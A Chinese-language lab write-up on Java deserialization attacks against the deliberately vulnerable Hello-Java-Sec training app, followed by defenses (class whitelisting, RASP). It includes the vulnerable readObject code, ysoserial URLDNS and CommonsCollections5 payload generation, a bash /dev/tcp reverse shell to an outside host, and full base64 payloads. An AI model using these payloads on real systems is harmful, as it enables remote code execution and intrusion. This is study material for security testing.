上述生成 URLDNS Payload 的細節分析,參見《Java安全之ysoserial-URLDNS鏈分析》,此處不再展開。

Hello-Java-Sec

補充介紹一個新的 Java 靶場:Hello-Java-Sec:?? Java Security,安全編碼和代碼審計。集成了多類 Java 漏洞的缺陷代碼和修復方式,是 java-sec-code 的升級版。個人感覺相當不錯,基于 SpringBoot 框架搭建,UI 界面友好,Java 漏洞類型豐富,同時每類漏洞提供了相應的修復方案。

部署方式很簡單:

//會通過Tomcat起服務,從日志可以看到看對應服務端口(默認8888)
java -jar javasec-1.11.jar
test@ubuntu:~/Downloads$ java -jar java -jar javasec-1.11.jar____.-        -.|,  .-.  .-.  ,|| )(_ /  \_ )( ||/     /\     \|(@_      <__    ^^    __>) \_______\__|IIIIII|__/____________________(_)\@8@8{}<________________________________________>)_/         \ IIIIII /(@           --------->>[======================]->>MMMMMM---==[=Program : Hello Java SecMMMMMM---==[=Version : 1.11MMMMMM---==[=Update : 2023/10/18MMMMMM---==[=Powered By : nul1
2024-05-30 19:43:38.408  INFO 8434 --- [           main] com.best.hello.HelloApplication          : Starting HelloApplication v1.11 using Java 11.0.22 on ubuntu with PID 8434 (/home/sbw/Downloads/javasec-1.11.jar started by sbw in /home/sbw/Downloads)
2024-05-30 19:43:38.411  INFO 8434 --- [           main] com.best.hello.HelloApplication          : No active profile set, falling back to default profiles: default
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.codehaus.groovy.reflection.CachedClass (jar:file:/home/sbw/Downloads/javasec-1.11.jar!/BOOT-INF/lib/groovy-2.5.14.jar!/) to method java.lang.Object.finalize()
WARNING: Please consider reporting this to the maintainers of org.codehaus.groovy.reflection.CachedClass
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
2024-05-30 19:43:40.612  INFO 8434 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Bootstrapping Spring Data LDAP repositories in DEFAULT mode.
2024-05-30 19:43:40.635  INFO 8434 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Finished Spring Data repository scanning in 14 ms. Found 0 LDAP repository interfaces.
2024-05-30 19:43:41.164  INFO 8434 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat initialized with port(s): 8888 (http)
2024-05-30 19:43:41.174  INFO 8434 --- [           main] o.apache.catalina.core.StandardService   : Starting service [Tomcat]
2024-05-30 19:43:41.174  INFO 8434 --- [           main] org.apache.catalina.core.StandardEngine  : Starting Servlet engine: [Apache Tomcat/9.0.41]
2024-05-30 19:43:41.236  INFO 8434 --- [           main] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring embedded WebApplicationContext
2024-05-30 19:43:41.236  INFO 8434 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 2432 ms
2024-05-30 19:43:41.387  INFO 8434 --- [           main] o.s.b.a.e.web.ServletEndpointRegistrar   : Registered '/actuator/jolokia' to jolokia-actuator-endpoint
2024-05-30 19:43:42.315  INFO 8434 --- [           main] o.s.l.c.support.AbstractContextSource    : Property 'userDn' not set - anonymous context will be used for read-write operations
2024-05-30 19:43:42.395  INFO 8434 --- [           main] o.s.b.a.e.web.EndpointLinksResolver      : Exposing 14 endpoint(s) beneath base path '/actuator'
2024-05-30 19:43:42.467  INFO 8434 --- [           main] pertySourcedRequestMappingHandlerMapping : Mapped URL path [/v2/api-docs] onto method [springfox.documentation.swagger2.web.Swagger2Controller#getDocumentation(String, HttpServletRequest)]
2024-05-30 19:43:42.591  INFO 8434 --- [           main] o.s.s.concurrent.ThreadPoolTaskExecutor  : Initializing ExecutorService 'applicationTaskExecutor'
2024-05-30 19:43:42.695  INFO 8434 --- [           main] o.s.b.a.w.s.WelcomePageHandlerMapping    : Adding welcome page template: index
2024-05-30 19:43:43.099  INFO 8434 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat started on port(s): 8888 (http) with context path ''
2024-05-30 19:43:43.100  INFO 8434 --- [           main] d.s.w.p.DocumentationPluginsBootstrapper : Context refreshed
2024-05-30 19:43:43.124  INFO 8434 --- [           main] d.s.w.p.DocumentationPluginsBootstrapper : Found 1 custom documentation plugin(s)
2024-05-30 19:43:43.184  INFO 8434 --- [           main] s.d.s.w.s.ApiListingReferenceScanner     : Scanning for api listing references
……

默認登錄賬戶密碼 admin/admin:
imagepngimagepng

反序列化漏洞點

靶場關于反序列化漏洞的環境:
imagepng
反序列化漏洞相關代碼位于:com/best/hello/controller/Deserialize/Deserialization.java

/*** 反序列化漏洞:序列化是將 Java 對象轉換成字節流的過程。而反序列化是將字節流轉換成 Java 對象的過程* <p>* 如何發現漏洞* 1. Sink, 使用了序列化和反序列化操作的方法* 2. Source, 將用戶輸入的序列化數據直接反序列化為對象。* 3. Sanitizer, 沒有對序列化數據進行任何校驗或過濾* JAVA 常見的序列化和反序列化的方法有JAVA 原生序列化和 JSON 類(fastjson、jackson)序列化* <p>* 序列化方法* 1. JDK(ObjectInputStream.readObject)* 2. XMLDecoder.readObject* 3. Yaml.load* 4. XStream.fromXML* 5. ObjectMapper.readValue* 6. JSON.parseObject* ...*/
@RestController
@RequestMapping("/Deserialize/readObject")
public class Deserialization {Logger log = LoggerFactory.getLogger(Deserialization.class);/*** @poc http://127.0.0.1:8888/Deserialize/readObject/vul?base64=payload* payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64*/@ApiOperation(value = "vul:readObject反序列化")@RequestMapping("/vul")public String readObject(String base64) {try {log.info("[vul] 執行反序列化:" + base64);base64 = base64.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(base64);// 將字節轉為輸入流ByteArrayInputStream stream = new ByteArrayInputStream(bytes);// 反序列化流,將序列化的原始數據恢復為對象java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);in.readObject();in.close();return "反序列化漏洞";} catch (Exception e) {return "Payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 \"open -a Calculator\" | base64";}}@ApiOperation(value = "safe:反序列化類白/黑名單控制", notes = "Apache Commons IO的ValidatingObjectInputStream來校驗反序列化的類")@RequestMapping("/safe")public String safe(String base64) {try {log.info("[safe] 執行反序列化");base64 = base64.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(base64);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);// 使用 ValidatingObjectInputStream,只允許反序列化Student classValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);ois.accept(Student.class);ois.readObject();return "ValidatingObjectInputStream";} catch (Exception e) {return e.toString();}}/*** ObjectInputStream.readUnshared 方法并不會執行任意代碼,而是只會將序列化數據恢復為原始對象.*/@RequestMapping("/safe2")public String readUnshared(String base64) {try {log.info("[safe] 執行反序列化:" + base64);base64 = base64.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(base64);// 將字節轉為輸入流ByteArrayInputStream stream = new ByteArrayInputStream(bytes);// 反序列化流,將序列化的原始數據恢復為對象java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);in.readUnshared();in.close();return "ObjectInputStream.readUnshared";} catch (Exception e) {log.warn("[error] readUnshared反序列化失敗", e);return "ObjectInputStream.readUnshared";}}
}

點擊 run 自動訪問此漏洞路由:
imagepng
imagepng

CC5鏈反彈Shell

先看看 URLDNS 鏈的驗證,使用 ysoserial 生成 URLDNS 反序列化利用鏈的 PayLoad:

λ java -jar ysoserial-all.jar URLDNS "http://yef39q.dnslog.cn" | base64 |tr -d "\n"
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHllZjM5cS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly95ZWYzOXEuZG5zbG9nLmNueA==

Burp 發送:
imagepng
DNSLog 平臺查詢:
在這里插入圖片描述

接下來進一步借助開源反序列化利用鏈工具 ysoserial 嘗試反彈 Shell。

Hello-Java-Sec/pom.xml 項目的相關依賴(未見到 Commons Collections 依賴庫??):

<dependency><groupId>org.apache.commons</groupId><artifactId>commons-csv</artifactId><version>1.9.0</version>
</dependency>
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-text</artifactId><version>1.9</version>
</dependency>

反彈 shell Payload:

/bin/bash -i >& /dev/tcp/192.168.190.128/6666 0>&1

使用反序列化利用鏈 CommonsCollections5(親測 CC1 不行,CC6 則可以),注意需要對反彈 shell Payload 采用 Base64 編碼:

test@ubuntu:~/Downloads$ java -jar ysoserial-all.jar CommonsCollections5 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTkwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAUXQAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAAM3EAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdABpYmFzaCAtYyB7ZWNobyxMMkpwYmk5aVlYTm9JQzFwSUQ0bUlDOWtaWFl2ZEdOd0x6RTVNaTR4TmpndU1Ua3dMakV5T0M4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4ALwAAAAFxAH4ANHNxAH4AJHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==
sbw@ubuntu:~/Downloads$ 

發送生成的最終 Payload, 成功反彈 shell:
imagepng
imagepng

反序列化的防御

修復反序列化漏洞的常規方法:

  1. 升級第三方依賴庫和 JDK 版本,這兩者均會對一些常規的反序列化利用鏈進行修復、阻斷;
  2. 在使用 readobiect() 反序列化時,首先會調用 resolveClass 方法讀取反序列化的為名,所以我們可以通過重寫 java.io.ObjectInputStream 對象的 resolveClass 或 resolveProxyClass 方法來實現對反序列化類的校驗。

RASP 可以利用動態編輯類字節碼的優勢,直接編輯 ObjectInputStream 類的 resolveClass 或 resolveProxyClass 方法字節碼,動態插入 RASP 類代碼,從而實現檢測反序列化腳本攻擊。
imagepng
以百度開源的 OpenRASP 為例:DeserializationHook.java
imagepng
imagepng
imagepng
如果是黑白名單檢測方法的話,Hello-Java-Sec 也提供了示例:

    @ApiOperation(value = "safe:反序列化類白/黑名單控制", notes = "Apache Commons IO的ValidatingObjectInputStream來校驗反序列化的類")@RequestMapping("/safe")public String safe(String base64) {try {log.info("[safe] 執行反序列化");base64 = base64.replace(" ", "+");byte[] bytes = Base64.getDecoder().decode(base64);ByteArrayInputStream stream = new ByteArrayInputStream(bytes);// 使用 ValidatingObjectInputStream,只允許反序列化Student classValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);ois.accept(Student.class);ois.readObject();return "ValidatingObjectInputStream";} catch (Exception e) {return e.toString();}}

試著繼續用 CC5 鏈反彈 shell,失敗如下:
imagepng

總結

本文從一個實際的 Java 反序列化 Demo 出發,學習反序列化漏洞的 Source 點特征、漏洞利用的必要條件,同時分析了 URLDNS 鏈的原理,最后總結了 Java 反序列化漏洞的防御手段。

整體上而言,面對受害系統存在外部可控的反序列化輸入源,攻擊者的目標就是借助公共依賴庫利用鏈(大量涉及 Java 反射、動態代理等特性)、JNDI 注入等手段,往輸入源傳輸最終可執行命令的 exp,使得在受害系統對 exp 進行反序列化時實現 RCE。

后續進一步需要分析學習的有:Fastjson 漏洞 JNDI 注入原理、Apache Common Collections 其它反序列化利用鏈分析。

本文參考文章如下:

  1. javasec_study/java代碼審計-反序列化.md;
  2. Java反序列化漏洞 · 攻擊Java Web應用-[Java Web安全];
  3. JAVA反序列化之URLDNS鏈分析;
  4. Java安全之ysoserial-URLDNS鏈分析;
  5. 理解Java反序列化-ysoserial URLDNS | Seikei’s Blog;
  6. CC1 鏈的理解可進一步參考:《Java反序列化之CC1其一》。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/21222.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/21222.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/21222.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

easy-captcha生成驗證碼

引入依賴 <!-- https://mvnrepository.com/artifact/org.springframework.boot/spring-boot-starter-data-redis --> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId>…

[力扣題解] 404. 左葉子之和

題目&#xff1a;404. 左葉子之和 思路 前序遍歷&#xff08;隨便怎么遍歷&#xff09;&#xff1b; 在遇到左葉子時處理數據&#xff0c;選擇中、左、右里面的左的時候再判斷這個節點是不是葉子&#xff1b; 代碼 /*** Definition for a binary tree node.* struct TreeNo…

Unity2D游戲開發-玩家控制

在Unity2D游戲開發中&#xff0c;玩家控制是游戲互動性的核心。本文將解析一個典型的Unity2D玩家控制腳本&#xff0c;探討如何實現流暢的玩家移動、跳躍和動畫切換。以下是一個Unity腳本示例&#xff0c;實現了這些基礎功能。 1. 腳本結構 using System.Collections; using …

機械設計手冊第一冊:公差

形位公差的標注&#xff1a; 形位公差框格中&#xff0c;不僅要表達形位公差的特征項目、基準代號和其他符號&#xff0c;還要正確給出公差帶的大小、形狀等內容。 1.形位公差框格&#xff1a; 形位公差框格由兩個框格或多個格框組成&#xff0c;框格中的主要內容從左到右按…

(2024,擴散,去噪調度,維度,誤差,收斂速度)適應基于分數的擴散模型中的未知低維結構

Adapting to Unknown Low-Dimensional Structures in Score-Based Diffusion Models 公和眾和號&#xff1a;EDPJ&#xff08;進 Q 交流群&#xff1a;922230617 或加 VX&#xff1a;CV_EDPJ 進 V 交流群&#xff09; 目錄 0. 摘要 1. 引言 1.1 擴散模型 1.2 現有結果的不…

服務器硬件基礎知識學習

服務器硬件基礎知識涵蓋了從CPU到存儲&#xff0c;再到網絡連接和總線技術等關鍵組件。 1. 處理器 - 兩大流派&#xff1a;我們常用的處理器主要分為Intel和AMD兩大陣營。Intel的Xeon系列和AMD的EPYC系列都是專為服務器設計的&#xff0c;它們支持多核處理&#xff0c;能夠應對…

語言模型的校準技術:增強概率評估

? 使用 DALLE-3 模型生成的圖像 目錄 一、說明 二、為什么校準對 LLM 模型至關重要 三、校準 LLM 概率的挑戰 四、LLM 的高級校準方法 4.1 語言置信度 4.2 增強語言自信的先進技術 4.3 基于自一致性的置信度 4.4 基于 Logit 的方法 五、代理模型或微調方法 5.1 使用代…

集成算法實驗與分析(軟投票與硬投票)

概述 目的&#xff1a;讓機器學習效果更好&#xff0c;單個不行&#xff0c;集成多個 集成算法 Bagging&#xff1a;訓練多個分類器取平均 f ( x ) 1 / M ∑ m 1 M f m ( x ) f(x)1/M\sum^M_{m1}{f_m(x)} f(x)1/M∑m1M?fm?(x) Boosting&#xff1a;從弱學習器開始加強&am…

排序-插入排序與選擇排序

插入排序 基本思想 把待排序的記錄按其關鍵碼值的大小逐個插入到一個已經排好序的有序序列中&#xff0c;直到所有的記錄插入完為止&#xff0c;得到一個新的有序序列 。 打撲克牌整理手牌用的就是插入排序的思想 代碼實現 void InsertSort(int* a, int n) { assert(a); …

C語言自定義類型

在C語言中&#xff0c;自定義類型可以通過typedef關鍵字來實現。typedef用于為現有的數據類型創建新的名稱&#xff08;別名&#xff09;&#xff0c;使代碼更清晰易讀。自定義類型的一個常見用途是簡化復雜的類型聲明&#xff0c;特別是在使用結構體、枚舉和函數指針時。 使用…

52、有邊數限制的最短路

有邊數限制的最短路 題目描述 給定一個n個點m條邊的有向圖&#xff0c;圖中可能存在重邊和自環&#xff0c; 邊權可能為負數。 請你求出從1號點到n號點的最多經過k條邊的最短距離&#xff0c;如果無法從1號點走到n號點&#xff0c;輸出impossible。 注意&#xff1a;圖中可…

查看 WSL2 (Windows Subsystem for Linux 2) IP 地址

查看 WSL2 [Windows Subsystem for Linux 2] IP 地址 1. ipconfig2. ping $(hostname).local3. cat /etc/resolv.conf4. ip route show5. ip addrReferences 1. ipconfig Windows 系統上與 WSL2 (Windows Subsystem for Linux 2) 接口的地址 172.31.32.1。 Microsoft Windows…

米爾MYC-Y6ULX-V2開發板測評記錄

文章目錄 1、板子上手體驗2、板載硬件3、系統信息4、 驅動測試5、編譯linux三大件7、攝像頭測試9、總結 1、板子上手體驗 首先非常感謝芯查查給了這樣一個機會來測評這樣一款性能十分強大的開發板&#xff0c;我拿到手的是MYC-Y6ULX-V2核心板及開發板&#xff0c;這塊板子具有…

STM32HAL-最簡單的長、短、多擊按鍵框架

目錄 概述 一、開發環境 二、STM32CubeMx配置 三、編碼 四、運行結果 五、總結 概述 本文章使用最簡單的寫法實現長、短、多擊按鍵框架&#xff0c;非常適合移植各類型單片機&#xff0c;特別是資源少的芯片上。接下來將在stm32單片機上實現&#xff0c;只需占用1個定時…

動態控制eBPF程序加載:檢查 Tracepoint、Kprobe是否存在

前言 在 eBPF 程序開發中&#xff0c;確保程序能夠在各種不同的系統配置中兼容運行是至關重要的。本文將詳細介紹一個方案&#xff0c;通過動態檢查Tracepoint、Kprobe是否存在&#xff0c;并結合libbpf的API接口控制 eBPF 程序的加載。這種方法不僅可以提升程序的靈活性&…

jwt 實現用戶登錄完整java

登錄校驗邏輯 用戶登錄的校驗邏輯分為三個主要步驟&#xff0c;分別是校驗驗證碼&#xff0c;校驗用戶狀態和校驗密碼&#xff0c;具體邏輯如下 前端發送username、password、captchaKey、captchaCode請求登錄。判斷captchaCode是否為空&#xff0c;若為空&#xff0c;則直接…

AWS聯網和內容分發服務

概況 VPC Amazon Virtual Private Cloud (Amazon VPC) 讓您能夠全面地控制自己的虛擬網絡環境&#xff0c;包括資源放置、連接性和安全性。首先在 AWS 服務控制臺中設置 VPC。然后&#xff0c;向其中添加資源&#xff0c;例如 Amazon Elastic Compute Cloud (EC2) 和 Amazon …

數據分析必備:一步步教你如何用Pandas做數據分析(15)

1、Pandas 數據丟失 Pandas 數據丟失的操作實例 在現實生活中&#xff0c;數據丟失始終是一個問題。機器學習和數據挖掘等領域在模型預測的準確性方面面臨嚴重問題&#xff0c;因為缺少值會導致數據質量較差。在這些領域中&#xff0c;缺失值處理是使模型更準確和有效的主要重…

定個小目標之每天刷LeetCode熱題(7)

今天這道題是道簡單題&#xff0c;使用雙指針進行迭代即可&#xff0c;畫了下草圖如下 代碼如下 class Solution {public ListNode reverseList(ListNode head) {if (head null || head.next null) {return head;}ListNode p head, q head.next, temp null;while (q ! nu…

【Python如何將EXCEL拆分】

文章目錄 Python將一個EXCEL表拆分多個excel表Python將一個EXCEL表中一個sheet拆分多個sheet表 Python將一個EXCEL表拆分多個excel表 在Python中&#xff0c;你可以使用pandas庫來讀取Excel文件&#xff0c;并將一個大的Excel表格&#xff08;工作表&#xff09;拆分成多個單獨…